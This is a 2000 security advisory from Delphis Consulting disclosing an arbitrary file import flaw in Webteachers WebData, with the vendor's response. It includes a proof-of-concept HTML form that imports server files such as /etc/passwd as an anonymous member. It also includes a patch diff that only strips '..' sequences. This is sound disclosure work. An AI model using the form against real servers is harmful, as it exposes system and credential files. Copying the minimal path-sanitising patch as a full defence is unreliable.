DST2K0039: Webteachers Webdata: Importing files lower than web ro ot possible in to database

[Security Team <SecurityTeam () DELPHISPLC COM>]

All,

We have released the following advisory due to the fact that we have
provided a patch (Section II). If people require any help with
implementing this patch please come back to us on the following e-mail
address (securityteam () delphisplc com).

This patch may require a little tinkering with for your installation
(i.e. chroot environments).

Rgds

Ollie
-----
Ollie Whitehouse
Security Team Leader
tel: +44 (0)20 79160200

============================================================================
                            Delphis Consulting Plc
============================================================================

                           Security Team Advisories
                               [26/09/2000]

                            securityteam () delphisplc com
                  [http://www.delphisplc.com/thinking/whitepapers/]
        
============================================================================
Adv     :       DST2K0039
Title   :       Webteachers Webdata: Importing files lower than web root
                possible in to database
Author  :       DCIST (securityteam () delphisplc com)
O/S     :       Linux / WindowsNT
Product :       Webteachers WebData
Date    :       26/09/2000

I.    Description

II.   Solution

III.  Vendor Comments

IV.   Disclaimer


============================================================================

I. Description
============================================================================

Vendor URL: http://webteacher.com/webdata/

Delphis Consulting Internet Security Team (DCIST) discovered the following
vulnerability in WebData under Linux (although not tested under WindowsNT
we would expect the same results).

Severity: Medium (due to the fact that you need an account in WebData)

It is possible to import any file (i.e. /etc/passwd) from the file system
which the Webserver user (i.e. nobody) has access to in to the WebData
database. This enables potenial attackers to gain access to the contents
of a number of key files (i.e. hosts.allow / hosts.deny .etc) by browsing
the database afterwards.

Note: You need at least a member account to perform this action.

The below script won't just work but will require a little brain power
to get working with your database. This enables a user to import
anonymously any file that the web user has access to.

example script:
<form action="http://127.0.0.1/cgi-bin/webdata_test.pl"; method="post">
<INPUT TYPE=TEXT SIZE=60 NAME="pathname"><BR>
<font size=3>Is the file comma or tab delimited?</font></B>
<select name="delimiter" size=1>
<option value="comma">comma
<option value="tab">tab
<option value="pipe">pipe
</select>
<INPUT TYPE=HIDDEN NAME="member" VALUE="anonymous">
<input type=hidden name="cgifunction" value="import2">
<BR>
<INPUT TYPE=SUBMIT VALUE="Import">
</form>

II. Solution
============================================================================

Vendor Status: Informed

Currently there us no known solution to this problem. Delphis have provided
a patch to the perl script below:

[root@dcist cgi-bin]# diff webdata_new.pl webdata_old.pl
9d8
< $webroot='/home/httpd/html/';
4069,4075c4068
<     if (length($user_data{pathname})>0) { # is the user using this method
<       $olddata = $user_data{pathname}; # store this so we have it for
later
<       $user_data{pathname} = $webroot . $user_data{pathname};
<       $user_data{pathname} =~ s/\.\.//g; # strip out all double dots
<     }
<     print " [$user_data{pathname}] ";
<     open (FIELDS,"<$fieldnames") or &error("could not open $fieldnames");

---
>     open (FIELDS,"<$fieldnames") or &error('could not open $fieldnames');
4095c4088
<     open (FILE,"<$user_data{pathname}") or &error("Could not open
$olddata");
---
>     open (FILE,"<$user_data{pathname}") or &error("Could not open
$user_data{pathname}");

III. Vendor Comments
============================================================================

Thank you for the security advise.  We will make the patch in the next
release. Most likely, the patch will simply require the imported file to
be in the "uploads" directory, to which Webdata already has an absolute
path, and no slashes will be permitted in the filename.

IV. Disclaimer
============================================================================
THE INFORMATION CONTAINED IN THIS ADVISORY IS BELIEVED TO BE ACCURATE AT
THE TIME OF PRINTING, BUT NO REPRESENTATION OR WARRANTY IS GIVEN, EXPRESS OR
IMPLIED, AS TO ITS ACCURACY OR COMPLETENESS.  NEITHER THE AUTHOR NOR THE
PUBLISHER ACCEPTS ANY LIABILITY WHATSOEVER FOR ANY DIRECT, INDIRECT OR
CONSEQUENTIAL LOSS OR DAMAGE ARISING IN ANY WAY FROM ANY USE OF, OR RELIANCE
PLACED ON, THIS INFORMATION FOR ANY PURPOSE.
============================================================================
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